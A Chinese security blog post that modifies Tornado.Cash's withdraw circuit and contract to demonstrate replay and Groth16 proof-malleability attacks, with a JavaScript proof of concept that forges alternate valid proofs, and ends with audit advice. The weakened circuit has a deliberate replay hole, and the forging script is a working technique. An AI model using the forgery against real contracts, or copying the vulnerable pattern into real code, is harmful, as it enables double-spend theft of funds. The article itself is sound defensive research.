深入探究 Tornado.Cash 揭示zkp项目的延展性攻击
在上篇文章里，我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞，本文中我们将以Tornado.Cash项目为例，魔改其部分电路和代码，介绍延展性攻击流程以及该项目中对应的防范措施，希望其他zkp项目方也引起注意。
其中，Tornado.Cash使用snarkjs库进行开发，同样基于如下开发流程，后续就直接进行介绍，不熟悉该库的请阅读本系列第一篇文章。（Beosin | 深度剖析零知识证明zk-SNARK漏洞：为什么零知识证明系统并非万无一失？）
（图源：https://docs.circom.io/）
1 Tornado.Cash 架构
User：使用该DApp进行混币器隐私交易，包括存、取款。
Web page：DApp的前端网页，网页上包含一些用户按钮。
Relayer：为防止链上节点记录发起隐私交易的ip地址等信息，该服务器会代替用户重放交易，进一步增强隐私性。
Contract：包含一个代理合约Tornado.Cash Proxy，该代理合约会根据用户存取款的金额选择指定的Tornado池子进行后续的存取款操作。目前已存在4个池子，金额分别为：0.1、1、10、100。
User首先在Tornado.Cash的前端网页上进行对应操作，触发存款或取款交易，接着由Relayer将其交易请求转发到链上的Tornado.Cash Proxy合约，并根据交易金额转发到对应的Pool中，最终进行存款和取款等处理，具体的架构如下：
deposit：当用户进行存款交易时，首先在前端网页上选择存入的代币(BNB、ETH等)和对应的数额，为了更好的确保用户的隐私性，只能存入四种金额数量；
图源：<https://ipfs.io/ipns/tornadocash.eth/>
接着服务器会生成两个31字节的随机数nullifier、secret，将其拼接后进行pedersenHash运算即可得到commitment，将nullifier+secret加上前缀作为note返回给用户，note如下图：
随后发起一笔deposit交易将commitment等数据发送到链上Tornado.Cash Proxy合约中，代理合约根据deposit的金额将数据转发至对应的Pool中，最后Pool合约将commitment作为叶子结点插入到merkle tree，并将计算出的root存储在Pool合约中。
withdraw：当用户进行取款交易时，首先在前端网页上输入deposit时返回的note数据和收款地址；
接着服务器会在链下检索出所有Tornadocash的deposit事件，提取其中的commitment构建链下的Merkle tree，并根据用户给出的note数据(nullifier+secret)生成commitment并生成对应的Merkle Path和对应的root，并作为电路输入得到零知识SNARK proof；最后，再发起一笔withdraw交易到链上的Tornado.Cash Proxy合约中，接着根据参数跳转到对应的Pool合约中验证证明，将钱打入用户指定的接收者地址。
其中，Tornado.Cash 的withdraw核心其实就是在不暴露用户持有的nullifier、secret的情况下，证明某个commitment存在于Merkle tree上，具体的默克尔树结构如下：
2 Tornado.Cash 魔改漏洞版
2.1 Tornado.Cash 魔改
针对第一篇文章Groth16 延展性攻击原理，我们知道攻击者使用相同的nullifier、secret其实可以生成多个不同的Proof，那么如果开发者没有考虑到Proof重放造成的双花攻击，就会威胁到项目资金。在对Tornado.Cash进行魔改之前，本文先介绍一下Tornado.Cash最终处理withdraw的Pool中代码：
/**
@dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs
`input` array consists of:
- merkle root of all deposits in the contract
- hash of unique deposit nullifier to prevent double spends
- the recipient of funds
- optional fee that goes to the transaction sender (usually a relay)
*/
function withdraw(
bytes calldata _proof,
bytes32 _root,
bytes32 _nullifierHash,
address payable _recipient,
address payable _relayer,
uint256 _fee,
uint256 _refund
) external payable nonReentrant {
require(_fee <= denomination, "Fee exceeds transfer value");
require(!nullifierHashes[_nullifierHash], "The note has been already spent");
require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one
require(
verifier.verifyProof(
_proof,
[uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]
),
"Invalid withdraw proof"
);
nullifierHashes[_nullifierHash] = true;
_processWithdraw(_recipient, _relayer, _fee, _refund);
emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);
}
上图中为了防止攻击者使用同一个Proof进行双花攻击，而又不暴露nullifier、secret，Tornado.Cash在电路中增加了一个公共信号nullifierHash，它是由nullifier进行Pedersen哈希得到，可以作为参数传到链上，Pool合约再使用该变量标识一个正确的Proof是否已经被使用过。但是如果项目方不采用修改电路的方式，而是直接以记录Proof方式来防止双花，毕竟这样做可以减少电路约束，从而节省开销，但是能否达到目的呢？
对于此猜想，本文将删除电路中新增的nullifierHash公共信号，并将合约校验改为Proof校验。由于Tornado.Cash在每次withdraw时都会获取所有的deposit事件组建merkle tree再校验生成的root值是否在最近生成的30个之内，整个过程太过麻烦，因此本文电路也将删除merkleTree电路，仅仅留下withdraw部分的核心电路，具体电路如下：
include "../../../../node_modules/circomlib/circuits/bitify.circom";
include "../../../../node_modules/circomlib/circuits/pedersen.circom";
// computes Pedersen(nullifier + secret)
template CommitmentHasher() {
signal input nullifier;
signal input secret;
signal output commitment;
// signal output nullifierHash; // delete
component commitmentHasher = Pedersen(496);
// component nullifierHasher = Pedersen(248);
component nullifierBits = Num2Bits(248);
component secretBits = Num2Bits(248);
nullifierBits.in <== nullifier;
secretBits.in <== secret;
for (var i = 0; i < 248; i++) {
// nullifierHasher.in[i] <== nullifierBits.out[i]; // delete
commitmentHasher.in[i] <== nullifierBits.out[i];
commitmentHasher.in[i + 248] <== secretBits.out[i];
}
commitment <== commitmentHasher.out[0];
// nullifierHash <== nullifierHasher.out[0]; // delete
}
// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits
signal output commitment;
signal input recipient; // not taking part in any computations
signal input relayer; // not taking part in any computations
signal input fee; // not taking part in any computations
signal input refund; // not taking part in any computations
signal input nullifier;
signal input secret;
component hasher = CommitmentHasher();
hasher.nullifier <== nullifier;
hasher.secret <== secret;
commitment <== hasher.commitment;
// Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof
// Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints
// Squares are used to prevent optimizer from removing those constraints
signal recipientSquare;
signal feeSquare;
signal relayerSquare;
signal refundSquare;
recipientSquare <== recipient * recipient;
feeSquare <== fee * fee;
relayerSquare <== relayer * relayer;
refundSquare <== refund * refund;
}
component main = Withdraw(20);
注意：我们在实验过程中发现，TornadoCash 在 GitHub 中的最新版代码里（https://github.com/tornadocash/tornado-core）， withdraw 电路缺乏输出信号，需要人工修正才能正确运行。
根据上述修改后的电路，使用snarkjs库等按照本文开始给出的开发流程逐步进行，生成如下正常Proof，记为proof1：
The proof: { pi_a: [ 12731245758885665844440940942625335911548255472545721927606279036884288780352n, 11029567045033340566548367893304052946457319632960669053932271922876268005970n, 1n ], pi_b: [ [ 4424670283556465622197187546754094667837383166479615474515182183878046002081n, 8088104569927474555610665242983621221932062943927262293572649061565902268616n ], [ 9194248463115986940359811988096155965376840166464829609545491502209803154186n, 18373139073981696655136870665800393986130876498128887091087060068369811557306n ], [ 1n, 0n ] ], pi_c: [ 1626407734863381433630916916203225704171957179582436403191883565668143772631n, 10375204902125491773178253544576299821079735144068419595539416984653646546215n, 1n ], protocol: 'groth16', curve: 'bn128'}
2.2 实验验证
2.2.1 验证证明 — circom 生成的默认合约
首先，我们使用circom 生成的默认合约进行验证，该合约由于根本没有记录任何已经使用过的Proof相关信息，攻击者可多次重放proof1造成双花攻击。在下列实验中，可以针对同一电路的同一个input，无限次重放proof，均能通过验证。
下图是使用proof1在默认合约中证明验证通过的实验截图，包含上篇文章中使用的Proof参数A、B、C，以及最终的结果：
下图是我们使用同样的proof1多次调用verifyProof函数进行证明验证的结果，实验发现针对同一input，无论攻击者使用多少次proof1进行验证，都可以通过：
当然在我们在snarkjs原生的js代码库中进行测试，也并未对已经使用过的Proof进行防范，实验结果如下：
2.2.2 验证证明 — 普通防重放合约
针对circom 生成的默认合约中的重放漏洞，本文记录已使用过的正确Proof(proof1)中的一个值，以达到防止使用验证过的proof进行重放攻击的目的，具体如下图所示：
继续使用proof1进行验证，实验发现在使用同样Proof进行二次验证时，交易revert报错："The note has been already spent"，结果如下图所示：
但是此时虽然达到了防止普通proof重放攻击的目的，但是前文介绍过groth16算法存在延展性漏洞问题，这种防范措施仍可以被绕过。于是下图我们构造PoC，按照第一篇文章中的算法针对同一input生成伪造的zk-SNARK证明，实验发现仍然能通过验证。生成伪造证明proof2的PoC代码如下：
import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"
import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"
import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"
import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";
import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";
import fs from "fs";
import { utils } from "ffjavascript";
const {unstringifyBigInts} = utils;
groth16_exp();
async function groth16_exp(){
let inputA = "7";
let inputB = "11";
const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');
// 2. 读取string后转化为int
const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));
console.log("The proof:",proof);
// 生成逆元，生成的逆元必须在F1域
const F = new ZqField(SNARK_FIELD_SIZE);
// const F = new F2Field(SNARK_FIELD_SIZE);
const X = F.e("123456")
const invX = F.inv(X)
console.log("x:" ,X )
console.log("invX" ,invX)
console.log("The timesScalar is:",F.mul(X,invX))
// 读取椭圆曲线G1、G2点
const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));
// console.log("The curve is:",vKey);
const curve = await curves.getCurveFromName(vKey.curve);
const G1 = curve.G1;
const G2 = curve.G2;
const A = G1.fromObject(proof.pi_a);
const B = G2.fromObject(proof.pi_b);
const C = G1.fromObject(proof.pi_c);
const new_pi_a = G1.timesScalar(A, X); //A'=x*A
const new_pi_b = G2.timesScalar(B, invX); //B'=x^{-1}*B
proof.pi_a = G1.toObject(G1.toAffine(A));
proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))
proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))
// 将生成的G1、G2点转化为proof
console.log("proof.pi_a:",proof.pi_a);
console.log("proof.new_pi_a:",proof.new_pi_a)
console.log("proof.new_pi_b:",proof.new_pi_b)
}
生成的伪造证明proof2，具体如下图所示：
再次使用该参数调用verifyProof函数进行证明验证时，实验发现同一input的情况下使用proof2验证再次通过了，具体如下所示：
虽然伪造的证明proof2也只能再使用一次，但由于针对同一input的伪造的证明存在几乎无限多个，因此可能造成合约资金被无限次被提取。
本文同样使用circom库的js代码进行测试，实验结果proof1和伪造的proof2都可以通过验证：
2.2.3 验证证明 — Tornado.Cash放重放合约
经历了那么多次失败，难道没有一种方式可以一劳永逸吗？此处按照Tornado.Cash中通过校验原始input是否已经被使用的做法，本文继续修改合约代码如下：
需要说明的是，为了展示groth16算法延展性攻击的防范简单措施，**本文采取直接记录原始电路input的方式，但是这不符合零知识证明的隐私原则，电路输入应当是保密的。**比如 Tornado.Cash中input都是private，需要重新新增一个public input标识一条Proof。本文由于电路中没有新增标识，所以隐私性相对于Tornado.Cash来说较差，仅作为实验Demo展示结果如下：
可以发现，上图中使用同一input的Proof，只有第一次可以通过验证proof1，随后该proof1和伪造的proof2都不能通过校验。
3 总结和建议
本文主要通过魔改TornadoCash的电路和使用开发者常用的Circom默认生成的合约验证了重放漏洞的真实性和危害，并进一步验证了使用在合约层面的普通措施可以防护重放漏洞，但无法防止groth16的延展性攻击，对此，我们建议零知识证明的项目在项目开发时，应注意：
与传统DApp使用地址等唯一数据生成节点数据的方式不同，zkp项目通常是使用组合随机数的方式生成Merkle tree节点，需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中，或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。
zkp项目方通常使用mapping记录已使用的过的Proof，防范双花攻击。需要注意使用Groth16开发时，由于存在延展性攻击，因此记录需使用节点原始数据，而不能仅仅使用Proof相关数据标识。
复杂电路可能存在电路不确定、欠约束等问题，合约验证时条件不完整，实现逻辑存在漏洞等问题，我们强烈建议项目方在项目上线时，寻求对电路和合约都有一定研究的安全审计公司进行全面审计，尽可能的保证项目安全。
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